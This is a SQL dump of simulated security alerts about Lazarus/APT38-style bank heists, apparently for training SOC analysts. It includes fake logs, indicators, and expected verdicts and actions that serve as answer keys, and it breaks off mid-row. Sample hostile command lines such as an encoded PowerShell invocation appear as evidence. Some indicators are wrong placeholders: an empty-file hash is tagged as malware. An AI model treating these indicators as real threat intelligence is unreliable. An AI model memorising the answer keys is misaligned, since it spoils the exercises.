INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1455, 'Data Exfiltration Attempt', 'high', 'Data loss prevention system', 'CryptoCore executed a final exfiltration attempt to transfer substantial volumes of financial data and cryptocurrency to external wallets.', 'Data Theft', 'T1041: Exfiltration Over C2 Channel', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-15T10:45:23Z\",\"event\":{\"type\":\"data_exfiltration_attempt\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"185.93.1.23\",\"username\":\"jane.doe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"file_name\":\"financial_report_Q3.xlsx\",\"destination_wallet\":\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\",\"protocol\":\"HTTPS\",\"data_volume\":\"2GB\"}}', '2026-03-07 00:50:13', '2026-03-09 05:52:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with the exfiltration attempt.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.93.1.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server used in previous CryptoCore operations.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jane.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_directory\",\"verdict\":\"internal\",\"details\":\"User account involved in the data exfiltration attempt.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"suspicious\",\"details\":\"Hash of file associated with suspicious activity.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"financial_report_Q3.xlsx\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_reputation_service\",\"verdict\":\"clean\",\"details\":\"Regular financial report file.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-07T14:15:20.844Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T10:45:23Z\\\",\\\"event\\\":{\\\"type\\\":\\\"data_exfiltration_attempt\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.93.1.23\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"financial_report_Q3.xlsx\\\",\\\"destination_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"2GB\\\"}}\"},{\"timestamp\":\"2026-03-07T14:14:20.844Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T10:45:23Z\\\",\\\"event\\\":{\\\"type\\\":\\\"data_exfiltration_attempt\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.93.1.23\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"financial_report_Q3.xlsx\\\",\\\"destination_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"2GB\\\"}}\"},{\"timestamp\":\"2026-03-07T14:13:20.844Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T10:45:23Z\\\",\\\"event\\\":{\\\"type\\\":\\\"data_exfiltration_attempt\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.93.1.23\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"financial_report_Q3.xlsx\\\",\\\"destination_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"2GB\\\"}}\"},{\"timestamp\":\"2026-03-07T14:12:20.844Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T10:45:23Z\\\",\\\"event\\\":{\\\"type\\\":\\\"data_exfiltration_attempt\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.93.1.23\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"financial_report_Q3.xlsx\\\",\\\"destination_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"2GB\\\"}}\"},{\"timestamp\":\"2026-03-07T14:11:20.844Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T10:45:23Z\\\",\\\"event\\\":{\\\"type\\\":\\\"data_exfiltration_attempt\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.93.1.23\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"financial_report_Q3.xlsx\\\",\\\"destination_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"2GB\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1456, 'Suspicious Access to Transaction Switch', 'high', 'Network Logs', 'An unauthorized access attempt was detected targeting the bank\'s transaction switch system. This activity is indicative of an initial access phase by APT38, known for financial theft and destructive operations.', 'Initial Access', 'T1078: Valid Accounts', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-15T02:45:37Z\",\"event_id\":\"1005\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.50\",\"destination_port\":\"8080\",\"protocol\":\"TCP\",\"action\":\"ALLOWED\",\"username\":\"j.doe\",\"attempted_resource\":\"/bank/transaction/switch\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"APT38_tool.bin\"}', '2026-03-07 00:50:56', '2026-03-09 05:41:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT38 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of bank\'s transaction switch.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT38 malware tool.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"APT38_tool.bin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"Executable used in APT38\'s operations.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1457, 'Malicious Code Execution Detected', 'critical', 'Endpoint Detection and Response (EDR)', 'A custom malware was executed on the host to alter transaction codes, enabling unauthorized withdrawals from targeted ATMs.', 'Execution', 'T1059: Command and Scripting Interpreter', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_id\":\"EDR-2023-1005-001\",\"source_ip\":\"185.92.220.123\",\"destination_ip\":\"192.168.10.25\",\"username\":\"atm_operator\",\"executed_process\":\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"command_line\":\"cmd.exe /c C:\\\\Malware\\\\ATMCodeChanger.exe\",\"file_hash\":\"b6a9c8e1d1d7d4a5f1b5c3e2a8f4b9d0\",\"malware_filename\":\"ATMCodeChanger.exe\",\"severity\":\"Critical\",\"description\":\"Execution of a known malicious file associated with unauthorized transaction manipulation.\"}', '2026-03-07 00:50:56', '2026-03-09 05:43:01', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.123\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lazarus Group operations.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b6a9c8e1d1d7d4a5f1b5c3e2a8f4b9d0\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Lazarus Group malware sample.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.10.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of targeted endpoint.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ATMCodeChanger.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security Logs\",\"verdict\":\"malicious\",\"details\":\"Filename associated with unauthorized transaction manipulation.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1458, 'Establishing Persistent Access', 'high', 'System Configuration Logs', 'APT38 has been detected establishing persistent access within the bank\'s infrastructure by creating backdoors. The operation involves setting up scheduled tasks and modifying startup scripts to maintain control over the compromised systems.', 'Persistence', 'T1547 - Boot or Logon Autostart Execution', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-01T14:23:45Z\",\"event_id\":\"4625\",\"hostname\":\"bankserver01\",\"user\":\"SYSTEM\",\"src_ip\":\"192.168.1.45\",\"attacker_ip\":\"51.15.123.45\",\"scheduled_task\":\"C:\\\\Windows\\\\System32\\\\Tasks\\\\UpdateCheck\",\"malware_filename\":\"svchost.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"Task Created\",\"description\":\"A scheduled task was created to run malicious executable at startup.\"}', '2026-03-07 00:50:56', '2026-03-09 05:44:07', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"51.15.123.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lazarus Group activities\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used by Lazarus Group\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"svchost.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_analysis\",\"verdict\":\"suspicious\",\"details\":\"Suspicious executable mimicking legitimate system process\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-07T14:15:20.848Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"hostname\\\":\\\"bankserver01\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"attacker_ip\\\":\\\"51.15.123.45\\\",\\\"scheduled_task\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateCheck\\\",\\\"malware_filename\\\":\\\"svchost.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Task Created\\\",\\\"description\\\":\\\"A scheduled task was created to run malicious executable at startup.\\\"}\"},{\"timestamp\":\"2026-03-07T14:14:20.848Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"hostname\\\":\\\"bankserver01\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"attacker_ip\\\":\\\"51.15.123.45\\\",\\\"scheduled_task\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateCheck\\\",\\\"malware_filename\\\":\\\"svchost.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Task Created\\\",\\\"description\\\":\\\"A scheduled task was created to run malicious executable at startup.\\\"}\"},{\"timestamp\":\"2026-03-07T14:13:20.848Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"hostname\\\":\\\"bankserver01\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"attacker_ip\\\":\\\"51.15.123.45\\\",\\\"scheduled_task\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateCheck\\\",\\\"malware_filename\\\":\\\"svchost.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Task Created\\\",\\\"description\\\":\\\"A scheduled task was created to run malicious executable at startup.\\\"}\"},{\"timestamp\":\"2026-03-07T14:12:20.848Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"hostname\\\":\\\"bankserver01\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"attacker_ip\\\":\\\"51.15.123.45\\\",\\\"scheduled_task\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateCheck\\\",\\\"malware_filename\\\":\\\"svchost.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Task Created\\\",\\\"description\\\":\\\"A scheduled task was created to run malicious executable at startup.\\\"}\"},{\"timestamp\":\"2026-03-07T14:11:20.848Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"hostname\\\":\\\"bankserver01\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"attacker_ip\\\":\\\"51.15.123.45\\\",\\\"scheduled_task\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateCheck\\\",\\\"malware_filename\\\":\\\"svchost.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Task Created\\\",\\\"description\\\":\\\"A scheduled task was created to run malicious executable at startup.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1459, 'Coordinated Mule Network Activation - Step 4', 'high', 'ATM Surveillance Footage', 'Mules have been dispatched to various ATMs to execute synchronized cash withdrawals. Surveillance footage indicates a coordinated effort exploiting compromised systems to manipulate transactions.', 'Lateral Movement', 'T1021.002 - Remote Services: SMB/Windows Admin Shares', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-12T14:35:00Z\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"10.0.0.15\",\"username\":\"atm_operator\",\"filename\":\"atm_control.exe\",\"hash\":\"3f4a9d7b2e3f8c4b7d89e6f1a0b0c9d1\",\"description\":\"ATM withdrawal command issued\",\"location\":\"ATM Terminal 12, 5th Avenue\",\"action\":\"Synchronized withdrawal command executed\"}', '2026-03-07 00:50:56', '2026-03-09 05:45:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lazarus Group operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local ATM network\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"atm_operator\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"suspicious\",\"details\":\"Unusual activity detected for this user\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"atm_control.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"malicious\",\"details\":\"Executable used for unauthorized ATM commands\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3f4a9d7b2e3f8c4b7d89e6f1a0b0c9d1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with ATM manipulation malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-07T14:15:20.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"atm_operator\\\",\\\"filename\\\":\\\"atm_control.exe\\\",\\\"hash\\\":\\\"3f4a9d7b2e3f8c4b7d89e6f1a0b0c9d1\\\",\\\"description\\\":\\\"ATM withdrawal command issued\\\",\\\"location\\\":\\\"ATM Terminal 12, 5th Avenue\\\",\\\"action\\\":\\\"Synchronized withdrawal command executed\\\"}\"},{\"timestamp\":\"2026-03-07T14:14:20.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"atm_operator\\\",\\\"filename\\\":\\\"atm_control.exe\\\",\\\"hash\\\":\\\"3f4a9d7b2e3f8c4b7d89e6f1a0b0c9d1\\\",\\\"description\\\":\\\"ATM withdrawal command issued\\\",\\\"location\\\":\\\"ATM Terminal 12, 5th Avenue\\\",\\\"action\\\":\\\"Synchronized withdrawal command executed\\\"}\"},{\"timestamp\":\"2026-03-07T14:13:20.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"atm_operator\\\",\\\"filename\\\":\\\"atm_control.exe\\\",\\\"hash\\\":\\\"3f4a9d7b2e3f8c4b7d89e6f1a0b0c9d1\\\",\\\"description\\\":\\\"ATM withdrawal command issued\\\",\\\"location\\\":\\\"ATM Terminal 12, 5th Avenue\\\",\\\"action\\\":\\\"Synchronized withdrawal command executed\\\"}\"},{\"timestamp\":\"2026-03-07T14:12:20.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"atm_operator\\\",\\\"filename\\\":\\\"atm_control.exe\\\",\\\"hash\\\":\\\"3f4a9d7b2e3f8c4b7d89e6f1a0b0c9d1\\\",\\\"description\\\":\\\"ATM withdrawal command issued\\\",\\\"location\\\":\\\"ATM Terminal 12, 5th Avenue\\\",\\\"action\\\":\\\"Synchronized withdrawal command executed\\\"}\"},{\"timestamp\":\"2026-03-07T14:11:20.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"atm_operator\\\",\\\"filename\\\":\\\"atm_control.exe\\\",\\\"hash\\\":\\\"3f4a9d7b2e3f8c4b7d89e6f1a0b0c9d1\\\",\\\"description\\\":\\\"ATM withdrawal command issued\\\",\\\"location\\\":\\\"ATM Terminal 12, 5th Avenue\\\",\\\"action\\\":\\\"Synchronized withdrawal command executed\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1460, 'Exfiltration of Stolen Funds', 'critical', 'Financial Transaction Monitoring', 'Alert triggered during the exfiltration phase of a cyber heist involving the transfer of laundered funds to offshore accounts. The operation is suspected to be conducted by the Lazarus Group using sophisticated financial manipulation techniques.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-12T15:45:32Z\",\"transaction_id\":\"TX123456789\",\"source_ip\":\"192.168.10.45\",\"destination_ip\":\"203.0.113.15\",\"amount\":\"5,000,000 USD\",\"currency\":\"USD\",\"destination_account\":\"Offshore-Account-987654321\",\"source_account\":\"Compromised-Account-123456789\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malware_filename\":\"funds_transfer.exe\",\"username\":\"jdoe\",\"comments\":\"Funds moved to offshore account using compromised credentials.\"}', '2026-03-07 00:50:56', '2026-03-09 05:46:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in transaction.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"IP associated with known offshore financial activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known hash for malware used in financial theft operations.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"funds_transfer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Executable used in unauthorized fund transfers.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"suspicious\",\"details\":\"Account compromised; used in unauthorized transactions.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-07T14:15:20.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:32Z\\\",\\\"transaction_id\\\":\\\"TX123456789\\\",\\\"source_ip\\\":\\\"192.168.10.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"Offshore-Account-987654321\\\",\\\"source_account\\\":\\\"Compromised-Account-123456789\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"funds_transfer.exe\\\",\\\"username\\\":\\\"jdoe\\\",\\\"comments\\\":\\\"Funds moved to offshore account using compromised 